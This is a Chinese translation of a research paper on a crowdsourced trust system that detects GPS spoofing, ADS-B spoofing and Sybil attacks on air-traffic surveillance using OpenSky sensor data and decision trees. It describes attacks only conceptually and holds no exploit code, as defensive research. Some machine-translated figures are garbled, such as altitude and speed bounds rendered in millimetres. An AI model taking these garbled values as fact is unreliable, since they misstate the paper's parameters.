text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 通过众包方法检测针对空管监控系统的攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Kai Jansen，Liang Niu，Nian Xue，Ivan Martinovic，Christina
Popper，文章来源：researchgate.net
原文地址：<https://www.researchgate.net/profile/Nian-Xue/publication/349522456_Trust_the_Crowd_Wireless_Witnessing_to_Detect_Attacks_on_ADS-B-Based_Air-Traffic_Surveillance/links/6034f2bc299bf1cc26e5085b/Trust-the-Crowd-Wireless-Witnessing-to-Detect-Attacks-on-ADS-B-Based-Air-Traffic-Surveillance.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
广播式自动相关监控（ADS-B，Automatic Dependent Surveillance-Broadcast）已被广泛用作空中交通监视的实际标准。航空法规要求所有飞机积极广播包含身份，位置和移动信息的状态报告。但是，由于缺乏安全措施，ADS-B受到了攻击者的网络攻击，目的是干扰空中安全。在本文中开发了一种非侵入式信任评估系统（<https://github.com/kai-jansen/ADSB-Trust-Evaluation> ），该系统可以使用地面传感器基础设施收集的真实飞行数据来检测对基于ADS-B的空中交通监视的攻击。通过以众包方式利用地理分布传感器的冗余，实施了验证测试来追求安全性。
本研究的核心是将验证检查与机器学习（ML）辅助的接收模式分类相结合，以便用户收集的数据对其他用户提供的数据进行交叉验证。系统是外接性的，因为它既不需要修改已部署的硬件，也不需要修改软件协议，而仅利用已经可用的数据。本系统可以用至少三个良性传感器观察空域以成功检测GPS欺骗，ADS-B欺骗，甚至Sybil攻击。还能够区分攻击类型，识别受影响的传感器并调整系统以动态适应不断变化的空中交通状况。
## 0x01 Introduction
空中交通监控已从基于模拟无线电检测和测距（RADAR）的系统发展成为一种数字化辅助的监视基础设施。从2020年1月1日起，所有飞机都必须配备ADS-B系统，以进入大多数领空。具有ADS-B功能的发射器会定期广播状态报告，这些状态报告会告知其他人其标识，位置，移动和其他状态码。尽管航空业的发展周期非常长（长达数十年），但要求高安全性保证的应用通常落后于安全性方面的进步。因此，ADS-B报告既未加密也未通过身份验证。同时，ADS-B的开放规范促进了飞机报告的收集和免费使用。简单的传感器可以解码飞机的广播报告并获得其周围空域的实时视图。OpenSky网络是一个以众包方式结合了1000多个用户操作的地面传感器的网络。该网络收集并存储来自世界各地的空中交通数据，并将其用于研究。
由于ADS-B缺乏基本的安全实践，长期以来一直有大量工作讨论针对空中交通的网络攻击。这些以往工作展示了攻击者如何干扰飞机传感器，以及如何将假飞机信息注入空中交通监控系统。例如，具有现成商用硬件和知识优势的攻击者可以生成模仿有效ADS-B报告的任意消息。此类攻击包括驾驶舱或控制室的干扰，违反强制性安全分离规定，甚至增加了飞机相撞的可能性。由于实施这些攻击绝不仅仅是学术性质的，因此迫切需要安全解决方案来保护空中交通监视的完整性。实际上，数据信任的建立是航空业的一个开放而核心的问题，并且已经出现了公众关注的新问题。
为了满足安全驱动的航空业对更高安全性的需求，本研究提出了一种以数据为中心的信任评估系统，旨在使用已经收集的数据评估ADS-B报告的信任度。当消息来自功能性非恶意源时，它们是可信任的。相比之下，应该检测到试图伤害系统的容易出错或攻击控制的消息。此外还探讨了攻击类型的识别和恶意攻击的可追溯性自动自动控制系统中的传感器。
这种系统的开发面临高度管制的航空业带来的若干挑战。从不需要对已部署的硬件和软件进行任何修改的意义上讲，可行的解决方案需要是非侵入性的。特别是，安全系统不应干扰已经存在的其他系统，以避免冗长的（重新）认证过程。优选地，解决方案是在已有传感器输入的情况下自主运行的增强系统。
系统的核心利用了传感器网络的众包性质，其中用户收集的数据对其他用户提供的数据进行交叉验证。建立基于相互审核的可信任传感器网络，追求无线见证（wireless
witnessing）。无线见证是观察分布式无线系统状态的协作过程。将其应用于安全性环境中，以评估和验证ADS-B报告的可信赖性。特别是，实施了基于机器学习（ML）的验证测试，该测试在典型的消息接收模式上进行了训练。传感器的协作可表征从某些空域传输的飞机报告的预期接收模式，同时自动考虑自然的消息丢失。
## 0x02 System and Attacker Models
首先介绍当今的空中交通监控技术，重点是ADS-B。然后介绍了信任定义，并提出合并的系统模型，最后定义了攻击者模型。
### A.空中交通监控
近年来，用于空中交通监视的传统基于模拟RADAR的系统已经通过用于主动无线通信的数字方式得到了增强。为了与地面站和其他飞行器通信，飞机必须配备ADS-B转发器，该转发器会定期广播状态报告。这些报告包含飞机识别信息，有关速度，航迹和加速度的信息以及其他观测数据。定位信息主要通过GPS导出，这是自定位的首选方法。
由于ADS-B协议是公开指定的，因此调制和数据帧模式是已知的。 ADS-B的工作频率为1,090 MHz，典型的接收范围可达700
km。因此，信号可以通过简单的消费级硬件（例如通用软件无线电外围设备（USRP）或更便宜的软件定义无线电（SDR），如RTL-SDR加密狗）接收，其价格低至20美元。 SDR的可用性不仅允许被动监听，而且还导致了用于主动ADS-B传输的软件工具或伪造的GPS信号的产生。令人惊讶的是，ADS-B协议缺乏基本的安全措施，并且既不应用加密也不进行身份验证。
### B.信任定义
将对系统的信任定义为ADS-B报告的确定性是正常行为的结果，并且不会因故障或主动操作而中断。为此，可信报告表示由真实来源传输的有效数据。另一方面，不可信的报告要么是错误的，要么包含应从进一步处理中丢弃的虚假数据。尽管传统的信任概念是以实体为中心和僵化的，但是当今快速变化的临时网络需要调整信任模型。
因此本研究寻求建立一个以数据为中心的信任模型，考虑到易失性环境中的短暂关联，本文设计了一个信任系统，该系统由地理共享的传感器收集的数据驱动，这些传感器在网络中共享其观测值。冗余视图的组合使系统能够交叉验证数据并最终建立一种无线见证形式。
### C.统一系统模型
考虑以下系统模型，配备有ADS-B发射器的飞机会定期广播状态报告，其中包括GPS衍生位置等信息。一组按地理位置分布的传感器接收这些报告，并以众包方式与他人共享其观察结果。中央服务器收集并处理转发的观察结果。总体而言，面临着飞机的高机动性，而接收传感器是固定的，不太可能显着移动。下图概述了考虑用来评估ADS-B报告的可信度的系统模型。
### D.假想攻击者
攻击者模型包括几个突出的攻击媒介。根据它们的预期目标和范围对其进行分类。下表显示了概述。本研究针对这些攻击评估了提出的系统，此外即使是完全了解本研究的验证方案的攻击者也无法绕过，并且仍然可以被检测到。
**GPS欺骗：** 机载（自）定位传感器处理从多颗卫星接收到的GPS信号，并将结果嵌入到广播的ADS-B报告中。一种攻击情形是考虑GPS信号的欺骗，即攻击者以相当大的信号强度发送特制信号。结果，攻击者可以将错误的定位或时间信息注入飞机系统，从而诱导对伪造的攻击者控制的数据进行处理。
**ADS-B欺骗（单）：** 能够生成伪造的ADS-B消息的攻击者可以发送任意报告，对其内容进行完全控制。这些虚假的报告可能代表：例如任何飞机标识符，定位解决方案或移动信息。此类消息的接收者将对消息内容进行解码，并将感测到的信息转发到中央服务器。根据受影响的传感器数量来区分这种攻击，由于其广泛的空间分布，有效范围受到限制的攻击者可能只会影响单个传感器。
**ADS-B欺骗（多）。**
大规模攻击者也可能同时针对多个地理上分散的传感器。但是，此攻击者需要多个天线或高架高功率天线。攻击以广播方式进行，预计会影响其目标区域内的所有传感器。结果，一个以上的传感器将收到相同的伪造报告并将其转发到中央服务器。
**传感器控制：**
由于监视网络的开放性，攻击者可能会操作自己的传感器并成为众包基础架构的一部分。具有对传感器的完全控制权，攻击者能够注入封装在真正ADS-B报告中的任意数据。可以在不广播任何信号的情况下执行此攻击，并且可以直接在网络级别进行此攻击。
**Sybil攻击：**
使用大量传感器的大规模攻击者可以进行Sybil攻击，目的是推翻网络的保护系统。传感器可以部署在不同的位置，以同时影响多个冗余视图。这是对传感器网络的最强大攻击之一。
## 0x03 Design of ADS-B Trust System
本文提出了一种建立动态验证空中交通监视ADS-B消息的系统。首先描述所分析数据的详细信息，并说明一般网络统计信息。然后定义（i）三种验证测试，用于检查消息的内容，以及（ii）一种基于ML的报告元数据分类，例如接收模式。
### A.数据来源
作为数据的来源，利用了来自OpenSky网络的真实空中交通数据。传感器由志愿者安装和操作，他们可以保持匿名或选择通过提供个人信息进行注册。超过1000个传感器促进了网络的覆盖，该网络在欧洲和美洲大陆表现出特别高的传感器密度。该网络依靠用户提供的数据，在集中式服务器上对其进行处理，并提供对每天大约200亿条消息的收集数据的访问权限。值得注意的是，网络中的节点未配备任何加密手段或证书，这会阻碍传感器网络的增长并与对众包平台的便捷访问相抵触。当存在其他空中交通传感器网络时，利用该网络的研究友好型数据共享。
为简便起见，最初将所考虑的ADS-B报告限制为开放空域网络传感器密度最高的欧洲空域。为了进一步降低复杂度，将此空间划分为边缘长度约为2的非重叠正方形C。总共
10公里，所考虑的环境变为232,139个不同集群Cj∈C的并集。
为了更好地了解OpenSky网络提供的数据，将传感器的覆盖范围和已处理的ADS-B消息相对于其空间分布的数量可视化。这些评估是基于从一天（2020年2月15日）收集的数据得出的，实际飞机总共广播了132,883,464条消息。下图描绘了所有已记录的ADS-B报告的空间分布的热图。可以看到，大多数报告来自中欧机场附近的几个集群区域。值得注意的是，数据库仅包含到达至少一个贡献传感器的消息。
网络的总体覆盖范围是所有参与的传感器的组合。由于传感器的覆盖范围可能会明显重叠，因此与农村地区相比，具有更多传感器的地区的冗余度更高。下图显示了截至2020年2月15日OpenSky网络的汇总传感器覆盖范围。该热力图描述了同时覆盖指定区域的传感器数量。总共729个不同的传感器报告了所考虑的空域的数据。注意到，在操作最多的传感器的中欧地区，控制力很强。但是，传感器网络的覆盖范围也限制了系统的适用性，没有传感器覆盖的空域没有受到保护。
### B.符号
在本文的其余部分，使用以下符号。该网络由一组基于地面的传感器S组成，其中每个传感器称为Si∈S。每个ADS-B消息m可以被任意数量≥1的传感器Si接收，因此链路（m，
Si）存在。由于噪声影响和消息冲突，消息自然会发生丢失，将传感器Si接收从群集Cj发送的消息作为Prec（Si，Cj）的概率表示为概率。此外，消息由接收传感器加盖时间戳，其中t是发布的时间戳。当消息没有被任何传感器接收时，因此不在所考虑的数据库中，下表总结了使用的符号。
### C.ADS-B消息信任
为了评估ADS-B消息的可信赖性，设计了一个包含四个验证测试的评估过程，即（i）完整性，（ii）差异性，（iii）依赖性和（iv）交叉检查。为了完成起见，对前三个测试进行了说明，但研究专注于针对现有传感器基础结构量身定制的交叉检查，以实现无线见证。系统概述如下图所示，并在下面进行开发。
**1）完整性检查：**
完整性检查表示针对定义的值范围的消息内容验证。在数据值不受定义限制的情况下，应用物理可能性范围。完整性检查特定于信息内容，例如报告的飞机状态。下表概述了已实施的完整性检查。
**位置：**
报告的位置包含有关纬度，经度和海拔高度的信息。纬度仅在-90°至90°范围内定义，而经度则在-180°至180°范围内定义。海拔不受其定义的限制，但受大约2至5毫米的物理限制。
−3 m是最低的欧洲机场阿姆斯特丹史基浦机场的高度。对于最大高度，使用20,000 m的界限，这对于普通的空中交通来说是很难达到的。
**移动：** 在机载时，速度应为正值，并受特定飞机类型的最大速度限制，通常小于大约2毫米。
1200公里/小时运动方向称为真实航迹，由与真实北方对齐的角度定义，范围为0°至360°。此外，垂直速率还取决于飞机，预计不会超过±50 m / s。
**标识：**
每架飞机都分配有唯一的标识，即国际民航组织的24位注册标识。可以对照包含当前分配的ICAO注册的数据库检查该标识符。此外，每架飞机都分配了一个易失性呼号，也可以对其进行验证。
**2）差异检查：** 差异检查考虑了来自同一飞机的后续ADS-B消息之间的变化。因此，这些检查需要根据所包含的标识符将消息分配给航迹。考虑到消息更新速率和广播频率，确定了每秒合理的最大变化，这些变化符合惯性和飞机的能力，并且被实际飞行数据的观测所覆盖。下表包含已实现的容许参数更改。如果长时间失去联系后收到更新的ADS-B报告，例如缺少传感器覆盖范围，将通过根据可错过的时间段缩放可容忍的最大变化来弥补数据的不足。
**3）依赖性检查：** 依赖性检查验证来自同一飞机的后续报告的物理依赖性参数之间的关系。根据对下一个位置的预测来验证报告的水平和垂直变化，并允许最大100
m的公差，这是根据经验从可用数据集中得出的。在报告的高度和指示在地面上的飞机之间还存在进一步的依赖关系。根据瑞士最高的欧洲机场（1,707
m）的高度粗略地执行此检查。值得注意的是，有关地理拓扑的更细粒度的信息将极大地提高有效性。下表显示了已实现的依赖性检查。
**4）交叉检查：**
交叉检查以协作的方式利用监视网络的空间冗余。参与的传感器分布广泛，并且覆盖范围明显重叠，如图所示。即使传感器位置未知，也可以通过检查嵌入在其接收到的ADS-B报告中的报告位置来确定哪些传感器观察到哪个空域。因此，在基于网格的方法中，每个集群Cj都专门用于覆盖传感器Si，使得以下等式成立：
如果多个传感器Si覆盖同一集群Cj，从而Prec（Si，Cj）>
0，可以通过轮询所有指定的传感器来对收到的消息进行核对。对于覆盖报告的飞机位置的每个传感器，区分两个事件-传感器已收到消息或传感器未收到消息：
由于噪声影响和信号碰撞，传感器自然会经历10％至75％的信息丢失，具体取决于到原点的距离，视野中的障碍物和空域密度。因此，丢失报告的情况并不表示存在异常行为或存在攻击，因此需要相应地加以考虑。将事件X，Si∈S的组合称为从声明位置广播的报告的观察消息接收模式。因此，每个感测到的消息都映射到一个向量，该向量表示每个传感器的接收事件：
其中n是网络中传感器的总数。对于考虑的场景，获得了一个具有729个维度的向量，它表示消息接收模式。这些模式表现出一定的差异，由于不确定的传感器接收，无法转换成固定的规则。因此，选择一种机器学习方法来处理大量可用数据，同时考虑未知的外部影响。
特别是，对于132,883,464个记录的ADS-B报告中的每个报告，确定729个传感器中的哪个报告了该特定消息。结合嵌入式定位信息可以学习一天的典型接收模式，并将数据标记为正常运行的空中交通和传感器的结果。在处理完所有报告之后，为每个集群Cj分配了实际观察到的消息接收模式，假设这些模式代表正常行为。
**算法选择：** 由于特征空间是由传感器的数量定义的，并且每个特征都被限制为0（未接收）或1（已接收），因此选择使用决策树（DT）。
### D.攻击分析
如果至少一项验证测试表明存在异常行为，则会触发攻击分析，以尝试进一步推断（i）攻击类型和（ii）受影响的传感器。根据触发攻击分析的测试，可以得出告警原因的不同结论。
**1）攻击类型：** 注意到三个攻击类别，即GPS欺骗，ADS-B欺骗和传感器控制/Sybil攻击，可以通过它们分别在网络上对消息造成的操纵类型来表征。这可以直接在ADS-B消息的内容上，也可以在消息接收特性上更微妙。完整性，差异性和依赖性检查可以验证消息有效负载，而交叉检查则可以评估接收模式。对于每种攻击媒介，确定哪种验证测试是指示性的，并在下表中提供概述。
**完整性检查：** 完整性检查可检测到超出定义的值范围的情况。当报告是在ADS-B欺骗攻击中专门生成的，或者传感器完全在攻击者的控制之下时，可能会发生这种情况。
**差异检查：**
差异检查指示数据中出现异常跳变。如果该位置出现突然跳跃，则可能因此可以检测到GPS欺骗攻击。所有其他攻击也可能会触发警报，具体取决于生成的假数据中的差异。
**依赖性检查：**
依赖性检查可检测到飞机内部来自独立传感器的可靠数据之间的不一致。由于成功的GPS欺骗攻击只会影响与GPS相关的传感器，因此有关移动或航向的其他信息可能会导致违规。同样，如果伪造的报告不满足参数依赖性，其他攻击也可能无法通过此测试。
**交叉检查：**
交叉检查尝试确定消息接收模式是否是正常行为的结果。受GPS欺骗攻击影响的飞机报告表明位置错误，接收方式可能与实际位置的实际接收方式有所不同。对于其他攻击，交叉检查的有效性取决于观察要求保护的飞机位置的良性传感器的数量。同时覆盖一个区域的传感器越多，仅特定数量的传感器（例如，传感器）的可能性就越小。例如，受到ADS-B欺骗攻击的影响，请接收特定的消息。攻击者向网络添加传感器时也应遵循类似的考虑。不受影响的传感器将不会报告注入的消息，这些消息最终会以异常的接收模式反映出来。对于这两种攻击类别，接收模式越容易确定参与的传感器越多。
**2）受影响的传感器：** 如果成功检测到异常行为并确定了攻击类型，则将尝试对受影响的ADS-B传感器进行推理。通常会在攻击过程中区分被动参与式传感器和主动参与式传感器。尽管可以将报告不可信消息的所有传感器标记为潜在恶意软件，但对哪些传感器确实在攻击者的控制之下感兴趣。这些受损的传感器正在积极尝试破坏网络。因此将所有报告清楚地分配给传感器控件/Sybil攻击的消息的传感器识别为恶意软件。它们的标识允许断开网络连接并恢复网络的完整性。
另一方面，本身成为攻击受害者的传感器只能暂时与网络断开连接。一旦攻击结束，以后可以重新激活以这种方式识别的传感器。跟踪受影响的传感器还可以对攻击进行粗略定位。即使传感器位置未知，也可以确定传感器的覆盖范围，因此可以缩小攻击者的位置。
## 0x04 Simulation
虽然可以从实际收到的ADS-B报告中了解正常运行的空中交通的特征，但仍需要根据现实的假设和经验来模拟攻击情景。假设在选定的日期（2020年2月15日）未发动任何攻击，将使用所有报告来绘制典型的接收模式。在下文中描述了如何模拟三种考虑的攻击类别，即。例如GPS欺骗，ADS-B欺骗和传感器控制/Sybil攻击。对于每次攻击，至少生成正常收到的报告数量，即例如，代表每项攻击的超过1.32亿个不同的虚假报告。请注意，这并不反映正常报告和攻击报告之间的实际分布，而是用来建立合理的伪造报告数据库的。此分配仅用于训练过程。
### A.GPS欺骗
为了模拟成功的GPS欺骗攻击，操纵嵌入在ADS-B报告中的报告的GPS派生的定位信息。更准确地说，从整个数据集中随机抽取一份ADS-B报告。然后从相应的飞机上收集了前15分钟和接下来的60分钟内代表75分钟飞机航迹的所有报告。然后，该航迹会受到选择的1°，2°，5°，10°，20°或45°偏差α的模拟，以模拟攻击从攻击开始=
15分钟开始逐渐将飞机带离其航迹的情况。下图描述了此过程。对于每个偏差，将替换报告中的GPS位置，而所有其他数据字段和接收消息的传感器保持不变。将消息标记为攻击后GPS欺骗攻击的结果，并跟踪所应用的偏差，与原始航迹的距离以及发起攻击后经过的时间。重复从数据集中随机抽样报告并处理GPS位置的过程，直到达到所需的报告数量为止。
### B.ADS-B欺骗
在模拟ADS-B欺骗攻击时，面临着传感器位置未知的问题。甚至观察到的簇跟踪也无法揭示传感器的位置，因为接收范围可能会发生很大变化，并且在不同方向上可能会有所不同。值得注意的是，攻击者将面临相同的问题，无法精确定位传感器，但在瞄准多个传感器时需要盲目影响较大的区域。根据有多少传感器成为攻击的受害者来区分攻击，即例如，选定区域内的单个传感器，多个传感器或所有传感器。下图说明了这些攻击。为了模拟针对多个传感器的攻击者，随机选择传感器，直到各个群集的平均观察传感器数量。
通过从现实世界的飞机报告中随机抽样，再次为每种情况生成假消息。提取相应的75分钟长航迹，并根据考虑的群集的覆盖范围以及受攻击影响的传感器数量来调整接收传感器。所有其他数据字段保持不变。使用真实的飞机报告来表示攻击者，他们试图通过将这些消息发送到与场景相关的传感器数量来将幽灵飞机注入网络。
### C.传感器控制/Sybil攻击
在传感器控制/
Sybil攻击中，攻击者将网络添加到受攻击者同步控制的传感器。假设攻击者的传感器最初的行为正常，在注入任何虚假消息之前不会被察觉。发起攻击后，所有受控传感器将相互尝试报告相同的虚假消息。关于良性传感器的数量，再次区分受控传感器的数量，即。例如，一个传感器或攻击者的传感器与良性传感器之间相等。
航迹的采样和选择过程与ADS-B欺骗的过程相同。假设攻击者利用所有受控传感器注入相同的消息。值得注意的是，覆盖同一区域的良性传感器不受Sybil攻击的影响，因此不会报告此类消息的注入。
## 0x05 Evaluation
将对已开发的ADS-B信任系统的评估分为（i）检测每种考虑的攻击的性能，（ii）区分攻击向量，（iii）识别受影响的传感器，（iv）分析不同网格分辨率的影响，（
v）研究时间依赖性，以及（vi）估计计算性能。
### A.攻击检测的性能
以两种不同的方式来处理攻击检测性能。首先考虑了单个ADS-B报告的分类结果，而不链接连续报告，其次决定了组合飞机航迹。训练过程将使用选定日期的所有报告以及根据从OpenSky网络数据库中随机采样的75分钟长的飞机航迹为基础的模拟攻击矢量。攻击检测评估原型使用边缘长度为10
km的聚类Cj。将每个报告分配给其原始簇，该簇由嵌入位置表示，将观察区域中的所有消息均分成几部分。然后通过遍历所有群集，使用选定的DT分类器执行训练。
为了进行测试，再次在数据库中查询1000条未经训练的随机选择的飞机航迹。除了要求至少50％的广播报告由网络实际记录外，对选择过程没有任何限制。此过滤器将迅速离开覆盖区域的航迹，例如网络的范围，因此由于缺少报告而无法分类。应用不同的攻击向量，相应地标记每个航迹，然后使用指定集群的分类器对结果报告进行分类。对于三个攻击类别：GPS欺骗，ADS-B欺骗和传感器控制/ Sybil攻击，将简短描述哪个测试会触发警报，然后重点介绍支持ML的交叉检查，以提供TPR和FPR。
**1）GPS欺骗：**
当增量位置偏差通过差分检查时，依赖性检查始终表示预测位置与报告的GPS位置之间不匹配。即使考虑了特定的不确定性阈值，但在某个时间点，攻击仍超过了此阈值。考虑到交叉检查，直觉是飞机声称离其实际位置越远，接收方向图的差异就越大。值得注意的是，用于交叉检查的所选聚类由报告/声明的位置确定。如果真实位置和欺骗位置仍在同一群集中，则接收模式相同，并且无法确定是否存在GPS欺骗攻击。
为了评估GPS欺骗攻击的检测性能，考虑对分类器进行了训练，该分类器使用了来自正常操作的样本和模拟的GPS欺骗报告。基于分类器结果和报告总数进一步计算分数。按照此指标，得分为1表示每个报告都被标记为真实，而得分为0则意味着每个报告都被标记为恶意。评估（i）关于分类器的所有1000次运行的平均得分，相对于原始航迹的不同偏差α和图7中的经过时间，以及（ii）关于相对于原始航迹的距离的平均得分，如下图所示，到原始航迹的距离是所应用的偏差与发动攻击后所经过的时间的组合。
**结果：**
尽管依赖性检查可以有效地检测GPS欺骗攻击，但在可能丢失其他信息的情况下，交叉检查足以在经过一定时间后以高概率检测此类攻击，请参见下图。例如，考虑到α=2◦，α=10◦和α=45◦，分数在经过大约1分钟后降至0.5以下。分别为20分钟，5分钟和1分钟。平均分数下降的速度由所应用的偏差α决定。偏差越大，假位置接近其他簇的速度越快，从而导致接收模式不匹配。值得注意的是，由于部分报告被错误分类，即使在正常操作下，平均得分也永远不会达到1。将通过在确定飞机航迹时链接连续的报告来解决此问题。
上图将偏差和经过的时间浓缩为距原始航迹的距离。对于不超过一个网格分辨率（即i）的距离，平均得分迅速接近0.5。例如，在评估原型中为10公里。达到此点后，下降速度减慢并达到大约。两个网格分辨率的距离为0.35。进一步的距离只会适度降低平均得分，并且此时几乎稳定下来。观察到分类器可以区分接收模式，并且随着欺骗航迹偏离真实飞机航迹的距离越来越远，其性能也会越来越好。请注意，在最坏的情况下，距离约为√2倍的网格分辨率仍可以指向同一群集。但是，增加距离可以进一步保证不同的群集。
现在要解决如何确定飞机航迹的问题，与上述评估相反，在上述评估中，显示了各个报告在所有测试运行中的平均得分。真实的报告有时被标记为恶意，即使没有应用攻击，也永远不会达到完美的1分。因此，检测攻击不能仅基于单个消息而不触发大量错误警报。考虑到将系统设计为用于攻击检测的增强系统，因此错误警报事件具有破坏性，并且数量很多是不可接受的。
为了补偿单一的误报，例如在未实施攻击时检测到恶意模式，本研究实施了时间窗。特别是测试了三个不同的时间窗口w，例如5分钟、10分钟和15分钟。时间记录仅向后应用，以使时间t处的分数成为最近w分钟内所有已接收报告的平均分数。然后根据分数阈值做出最终决定。为了最大程度地减少错误警报，将阈值设置为在攻击后任何给定时间在随机选择的所有1000条飞机航迹上观察到的最低分数。结果，相对于所考虑的航迹，通过设计实现了0％的误报率。所选阈值取决于时间窗口的长度，其中较短的时间窗口会导致较高的阈值，而较大的时间窗口会导致更严格的阈值。
在上表中列出了考虑到不同的偏差和时间窗口的GPS欺骗检测性能。分析了攻击检测率，即。例如，与所有测试的运行相比检测到的攻击数量和检测延迟，即观察到违反阈值并发出警报的时间。另外说明了中位数和标准差，粗体字标记为每一行的最佳结果。要强调的是，由于如何选择阈值，因此对于每种配置，FPR为0％。
随着偏差α的增加，攻击检测可达到约99.5％。在启动攻击后的第一小时内降低阈值时，将算为检测到的攻击。未检测到丢失的0.5％是由于飞机非常缓慢甚至停下。考虑到模拟，GPS欺骗的影响在这种情况下可以忽略不计。其余偏斜的飞机航迹很有可能被发现。检测延迟在很大程度上取决于所施加的偏差α。对于更高的值，平均检测延迟可以低至大约6分钟，标准偏差在8分钟左右。时间窗口w也影响性能，由于最佳的攻击检测率和检测延迟取决于所施加的偏差α，因此不同时间窗口的实施是有益的。
**2）ADS-B欺骗：** 为了评估ADS-B欺骗检测性能，特别关注交叉检查的结果。由于攻击者可以生成任意报告，因此假设攻击者可以通过完整性，差异和依赖性检查成功地将其检测不到。考虑到交叉检查的测试集，从GPS欺骗评估中提取了相同的飞机航迹。在定时攻击中，攻击者发起欺骗攻击，表示通常情况下飞机航迹将结束，但通过向系统中进行虚假注入而继续进行。根据传感器的目标数量来区分三种情况，值得注意的是使用了分类器，该分类器接受了来自正常操作的样本和来自ADS-B欺骗的模拟样本的训练。
**结果：** 这三种情况的最终平均得分如上图所示。可以看到，正常操作的得分非常接近1，而任何形式的ADS-B欺骗都会大大降低所有1000次运行的平均得分。这种变化几乎是在攻击发起后立即发生的，此后继续减少。此外，方案对分数的影响也不同。从攻击者的角度来看，从多个传感器而不是从所有传感器注入报告优于所有其他策略。
即使是优化的攻击者策略也无法仅通过影响特定传感器来模仿典型的接收模式。由于传感器在地理位置上分布在未知位置，因此攻击者无法系统地控制哪些传感器和多少传感器接收到虚假报告。甚至实际上，攻击者也需要从声称的位置附近的某个位置进行广播，以模拟现实的消息接收模式，从而实际上从该广告位置成为合法的广播。
即使针对多个传感器，在接收范围内传感器不断丢失的报告仍然是某种注入的有力指示。自然地，观察发生注入的簇的传感器的数量影响了重要性。当操作较少的传感器时，这些模式的变化较少，与恶意模式的区别也将不那么明显。下图显示出了与观察传感器的数量有关的平均得分。仅具有三个传感器，与传感器覆盖范围为10、30或50的群集相比，攻击者在更多情况下仍无法被检测到。
**3）传感器控制/Sybil攻击：**
为了评估传感器控制/Sybil攻击的检测性能，再次将重点放在交叉检查的结果上。考虑两种情况，即不同数量的受损传感器，例如一个传感器或攻击者的传感器与已经观察到该特定空域的传感器数量相等。值得注意的是，攻击者的传感器最初正常参与，并且在训练消息接收模式时已被考虑。攻击之后，攻击者开始使用受控传感器注入飞机航迹。与对ADS-B欺骗的假设相比，攻击者现在可以使用所有受控传感器来模拟任意接收模式，而同一群集中的良性传感器则不受影响。
**结果：** 结果与ADS-B欺骗结果非常相似。对分数的影响是立竿见影的，可以与正常行为清楚地区分开。类似结果背后的原因是基于不受攻击者影响的良性传感器。来自受控传感器的消息注入表示在同一条消息上缺少大量良性传感器的极不可能的情况。因此，Sybil攻击的检测是基于丢失的报告，而不是所有传感器都同意同一消息。当仅考虑未损坏传感器的传感器覆盖范围时，可以转换为这种情况。
但是，需要强调一些限制。如果攻击者控制一个群集的每个传感器，则可以模拟任意模式，并且没有机会检测到攻击。但是，一旦攻击者尝试为传感器已经观察到的群集注入报告，就可以检测到攻击。至少一个传感器已经观测到绝大多数的空域。只要大多数良性传感器正常运行，仍可以检测到攻击。
**4）组合攻击：** 到目前为止，已经评估了单个攻击的检测性能，即例如GPS欺骗，ADS-B欺骗和传感器控制/Sybil攻击。现在分析是否有任何攻击组合可以增加攻击者未被发现的机会。值得注意的是，传感器控制优于ADS-B欺骗，因为完全受损的传感器不仅会注入任何形式的虚假ADS-B报告（就像ADS-B欺骗一样），而且还会丢弃传感器可能收到的任何其他消息。因此，可以将ADS-B欺骗视为传感器控制/ Sybil攻击类别的子集。攻击者获得成功的成功可能将其组合的成功发挥到极致，而攻击者还可以控制受ADS-B欺骗影响的传感器。尽管控制传感器子集的攻击者仍可能决定额外欺骗其他传感器，但检测性能与良性传感器的数量紧密相关。
专注于同时受GPS欺骗和ADS-B欺骗影响的报告。例如，通过ADS-B欺骗注入的伪造GPS轨迹。将偏差α设置为5°，并假设攻击者通过欺骗多个传感器来注入航迹。从两个不同的角度考虑对检测性能的影响。上图显示了基于分类器的更改，该更改指示了GPS欺骗。下图描绘了另一个图，其中ADS-B欺骗分类器评估攻击组合。
**结果：** 将伪造的GPS欺骗报告的检测性能与其他ADS-B欺骗进行比较，可以清楚地注意到由于组合中的ADS-B欺骗导致的得分突然下降。在30分钟内，平均得分不断降低，这使得组合不利于攻击者。出乎意料的是，从ADS-B欺骗的角度来看，可以注意到攻击组合实际上导致得分略高，并且效果随着时间的推移而增加。似乎组合有利于攻击者，但是分数差异是由于图中未反映的变化所致：通过额外操纵GPS位置，伪迹更快地接近了由较少传感器观察到的边缘区域，因此分类失去了意义。只要足够的良性传感器不受影响，任何攻击组合都不会对攻击者有利。
**5）从单个报告到航迹移动：**
在评估中将单个报告的分类结果链接在一起，以决定整个飞机的航迹。虽然单个报告可能被错误地归类为恶意报告，但时间窗可以减轻这种影响。针对不同集群的训练模型是分开的，有些模型可能比其他模型更简洁。有助于进行检测的一个事实是飞机的固有运动，因此航迹在其路线上横越许多不同的群集。结果，多个群集的组合决策受益于具有更高传感器覆盖范围的群集，即使涉及到难以确定的群集，最终也会产生非常高的分类性能。
### B.攻击分析：攻击类型
到目前为止，对每个考虑的攻击媒介使用了不同的分类器。攻击类型可以由指示攻击的分类器轻松确定。忽略了一些可能性，例如专门针对GPS欺骗检测而设计的数据包，例如在遇到ADS-B欺骗时也可能会发出警报，反之亦然。请注意，由于设置阈值的方式，当不进行攻击时，没有分类器会产生任何错误警报。现在分析是否可以区分攻击模式。为了评估区分模拟攻击的能力，将二分类转换为决定攻击类型的多分类。使用来自GPS欺骗和ADS-B欺骗的报告训练了DT分类器。由于两种攻击都具有多种配置，因此为GPS欺骗选择了20º的偏差，为ADS-B欺骗选择了多个受影响的传感器。应用w =
15分钟的时间窗，并在攻击+ 30分钟时评估结果。下图描绘了分类结果的混淆矩阵。
**结果：** 考虑到没有应用任何攻击修改的飞机航迹，组合分类器不会产生错误分类。对于α=
20°的GPS欺骗，可以检测并正确识别78.5％的随机运行，而仍将13.9％认为是正常的。约7.6％的案例被指定为ADS-B欺骗。相比之下，正确分类了85.4％的ADS-B欺骗航迹，确定为4.2％为正常，并且有10.4％与GPS欺骗混合。由于对GPS欺骗的早期阶段的接收模式有类似的影响，分类器为此难以解决。总而言之，大多数攻击都已正确分配和隔离。
### C.攻击分析：受影响的传感器
